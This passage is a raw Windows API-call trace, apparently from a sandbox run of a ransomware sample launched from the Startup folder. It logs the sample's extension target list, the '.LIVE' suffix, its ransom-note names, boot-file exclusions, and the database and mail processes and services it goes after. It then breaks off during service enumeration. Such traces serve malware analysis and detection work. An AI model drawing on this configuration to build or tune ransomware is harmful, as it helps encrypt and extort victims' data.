[0123.071] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dbc10, Size=0x20) returned 0x8b5d70 [0123.071] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x8ca0b0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0123.071] lstrlenW (lpString="C:\\") returned 3 [0123.071] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0123.071] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ca0b0 | out: hHeap=0x880000) returned 1 [0123.071] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fea70, Size=0x82) returned 0x8b8dc0 [0123.071] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fea90, Size=0x100) returned 0x8b8e50 [0123.072] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8f58, Size=0x104) returned 0x8fd540 [0123.072] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb1d8, Size=0x100) returned 0x8fd650 [0123.072] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8dc0, Size=0x104) returned 0x8fd758 [0123.072] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8e50, Size=0x200) returned 0x8fd868 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fea80 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd868 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd0c8 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb260 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbc70 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb2e8 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbca0 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd758 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbc88 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd540 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd0e0 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd4b0 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd0f8 | out: hHeap=0x880000) returned 1 [0123.073] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dbc88, Size=0x20) returned 0x8b5d98 [0123.073] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5d98, Size=0x40) returned 0x8fa1e8 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fea50 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbc10 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b8d30 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbc40 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd650 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbc28 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fea60 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbc58 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7158 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b63f8 | out: hHeap=0x880000) returned 1 [0123.073] lstrlenW (lpString="%systemdrive%") returned 13 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d70 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb0c8 | out: hHeap=0x880000) returned 1 [0123.073] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fea30 | out: hHeap=0x880000) returned 1 [0123.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x8ba090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dbc58, Size=0x20) returned 0x8b5d98 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5d98, Size=0x40) returned 0x8fa230 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa230, Size=0x80) returned 0x8fb0c8 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb0c8, Size=0x100) returned 0x8b8d30 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8d30, Size=0x200) returned 0x8b8d30 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8d30, Size=0x400) returned 0x8fd4b0 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fd4b0, Size=0x800) returned 0x8fd4b0 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fd4b0, Size=0x1000) returned 0x90ecd8 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fea30, Size=0x8) returned 0x8fea50 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fea50, Size=0x10) returned 0x8dbc70 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8dbc70, Size=0x20) returned 0x8b5d98 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5d98, Size=0x40) returned 0x8fa230 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa230, Size=0x80) returned 0x8fb0c8 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb0c8, Size=0x100) returned 0x8cc0d0 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cc0d0, Size=0x200) returned 0x90fce0 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x90fce0, Size=0x400) returned 0x8fdcb0 [0123.075] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fdcb0, Size=0x800) returned 0x8cecb8 [0123.076] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0123.076] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x90ecd8 | out: hHeap=0x880000) returned 1 [0123.076] lstrlenW (lpString="") returned 0 [0123.076] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfb38 | out: hHeap=0x880000) returned 1 [0123.076] lstrlenW (lpString=".LIVE") returned 5 [0123.076] lstrlenW (lpString=".LIVE") returned 5 [0123.076] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfb38 | out: hHeap=0x880000) returned 1 [0123.076] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfb68, Size=0x20) returned 0x8b5d98 [0123.076] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5d98, Size=0x40) returned 0x8fa230 [0123.076] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa230, Size=0x80) returned 0x8fb0c8 [0123.076] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8febd0, Size=0x8) returned 0x8febe0 [0123.076] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8febe0, Size=0x10) returned 0x8cfb68 [0123.076] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfb68, Size=0x20) returned 0x8b5de8 [0123.076] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0123.076] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb0c8 | out: hHeap=0x880000) returned 1 [0123.076] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfb98, Size=0x20) returned 0x8b5e10 [0123.076] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5e10, Size=0x40) returned 0x8fa230 [0123.076] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0123.076] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0123.076] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fa230 | out: hHeap=0x880000) returned 1 [0123.076] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfb98, Size=0x20) returned 0x8b5e10 [0123.076] lstrlenW (lpString="Info.hta") returned 8 [0123.076] lstrlenW (lpString="Info.hta") returned 8 [0123.076] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5e10 | out: hHeap=0x880000) returned 1 [0123.077] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x90ecd8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0x96 [0123.077] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x90ecd8 | out: hHeap=0x880000) returned 1 [0123.077] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0123.077] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5de8, Size=0x40) returned 0x8fa230 [0123.077] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfb98, Size=0x20) returned 0x8b5de8 [0123.077] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfb98, Size=0x20) returned 0x8b5e10 [0123.077] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5e10, Size=0x40) returned 0x8fa278 [0123.077] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa278, Size=0x80) returned 0x8fb0c8 [0123.077] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb0c8, Size=0x100) returned 0x8cc0d0 [0123.077] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0123.077] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cc0d0 | out: hHeap=0x880000) returned 1 [0123.077] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x90ecd8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0123.077] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x91ece0 | out: hHeap=0x880000) returned 1 [0123.077] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x90ecd8 | out: hHeap=0x880000) returned 1 [0123.077] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8febe0, Size=0x8) returned 0x8febd0 [0123.077] lstrlenW (lpString="%windir%;") returned 9 [0123.077] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5de8 | out: hHeap=0x880000) returned 1 [0123.077] lstrlenW (lpString="C:\\Windows;") returned 11 [0123.077] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbcc8 | out: hHeap=0x880000) returned 1 [0123.077] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfbb0, Size=0x20) returned 0x8b5de8 [0123.077] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5de8, Size=0x40) returned 0x8fa278 [0123.077] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa278, Size=0x80) returned 0x8fb0c8 [0123.077] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb0c8, Size=0x100) returned 0x8cc0d0 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec10, Size=0x8) returned 0x8fec20 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec20, Size=0x10) returned 0x8cfbf8 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfbf8, Size=0x20) returned 0x8b5de8 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8febe0, Size=0x8) returned 0x8fec20 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8febf0, Size=0x8) returned 0x8febe0 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec10, Size=0x8) returned 0x8fec30 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec30, Size=0x10) returned 0x8cfca0 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfca0, Size=0x20) returned 0x8b5e10 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec20, Size=0x10) returned 0x8cfca0 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8febe0, Size=0x10) returned 0x8cfcf0 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec20, Size=0x8) returned 0x8fec10 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec40, Size=0x8) returned 0x8fec50 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfca0, Size=0x20) returned 0x8b5e38 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfcf0, Size=0x20) returned 0x8b5e60 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec60, Size=0x8) returned 0x8fec70 [0123.078] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0123.078] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cc0d0 | out: hHeap=0x880000) returned 1 [0123.078] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfd80, Size=0x20) returned 0x8b5eb0 [0123.078] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x8dbcc8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0123.078] lstrlenW (lpString="C:\\") returned 3 [0123.078] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0123.079] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dbcc8 | out: hHeap=0x880000) returned 1 [0123.079] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8feca0, Size=0x82) returned 0x8b8f08 [0123.079] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fdcd8, Size=0x100) returned 0x8cc0d0 [0123.079] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8f08, Size=0x104) returned 0x8d0550 [0123.079] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8f98, Size=0x104) returned 0x8d0660 [0123.079] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb2e8, Size=0x100) returned 0x8cc1d8 [0123.079] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cc0d0, Size=0x200) returned 0x8d0788 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fdcc8 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d0788 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfe28 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb260 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfde0 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb1d8 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfe10 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d0550 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfdf8 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d0660 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfe40 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d04c0 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfe58 | out: hHeap=0x880000) returned 1 [0123.080] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfe58, Size=0x20) returned 0x8b5ed8 [0123.080] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5ed8, Size=0x40) returned 0x8fa278 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fec80 | out: hHeap=0x880000) returned 1 [0123.080] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfd80 | out: hHeap=0x880000) returned 1 [0123.081] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b8e78 | out: hHeap=0x880000) returned 1 [0123.081] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfdb0 | out: hHeap=0x880000) returned 1 [0123.081] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cc1d8 | out: hHeap=0x880000) returned 1 [0123.081] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfd98 | out: hHeap=0x880000) returned 1 [0123.081] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fec90 | out: hHeap=0x880000) returned 1 [0123.081] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cfdc8 | out: hHeap=0x880000) returned 1 [0123.081] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b8e48 | out: hHeap=0x880000) returned 1 [0123.081] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b64f8 | out: hHeap=0x880000) returned 1 [0123.081] lstrlenW (lpString="%systemdrive%") returned 13 [0123.081] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5eb0 | out: hHeap=0x880000) returned 1 [0123.081] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb0c8 | out: hHeap=0x880000) returned 1 [0123.081] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fec60 | out: hHeap=0x880000) returned 1 [0123.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x8fecb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0123.082] WaitForMultipleObjects (nCount=0x2, lpHandles=0x8b7010*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 43 os_tid = 0x524 Thread: id = 45 os_tid = 0x54c [0123.311] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cfdc8 [0123.311] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfdc8, Size=0x20) returned 0x8b5ed8 [0123.311] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5ed8, Size=0x40) returned 0x8fa2c0 [0123.311] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa2c0, Size=0x80) returned 0x8fb0c8 [0123.312] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb0c8, Size=0x100) returned 0x8cc1d8 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cfdc8 [0123.312] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfdc8, Size=0x20) returned 0x8b5ed8 [0123.312] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5ed8, Size=0x40) returned 0x8fa2c0 [0123.312] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa2c0, Size=0x80) returned 0x8fb0c8 [0123.312] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb0c8, Size=0x100) returned 0x8cc0d0 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8cfdc8 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8fec60 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cfd98 [0123.312] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec60, Size=0x8) returned 0x8fec90 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b6518 [0123.312] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec90, Size=0x10) returned 0x8cfdb0 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x8b6538 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x8b5ed8 [0123.312] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfdb0, Size=0x20) returned 0x8b5f00 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1c) returned 0x8b5f28 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x16) returned 0x8b6558 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x8b5f50 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8cfdb0 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8fec90 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40) returned 0x8fa2c0 [0123.312] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec90, Size=0x8) returned 0x8fec60 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x3c) returned 0x8fa308 [0123.312] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fec60, Size=0x10) returned 0x8cfd80 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b6578 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x8b6598 [0123.312] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cfd80, Size=0x20) returned 0x8b5f78 [0123.312] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8d06d0 [0123.312] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0123.312] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cc1d8 | out: hHeap=0x880000) returned 1 [0123.312] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0123.312] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cc0d0 | out: hHeap=0x880000) returned 1 [0123.312] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8b6068 [0123.506] EnumServicesStatusExW (in: hSCManager=0x8b6068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, 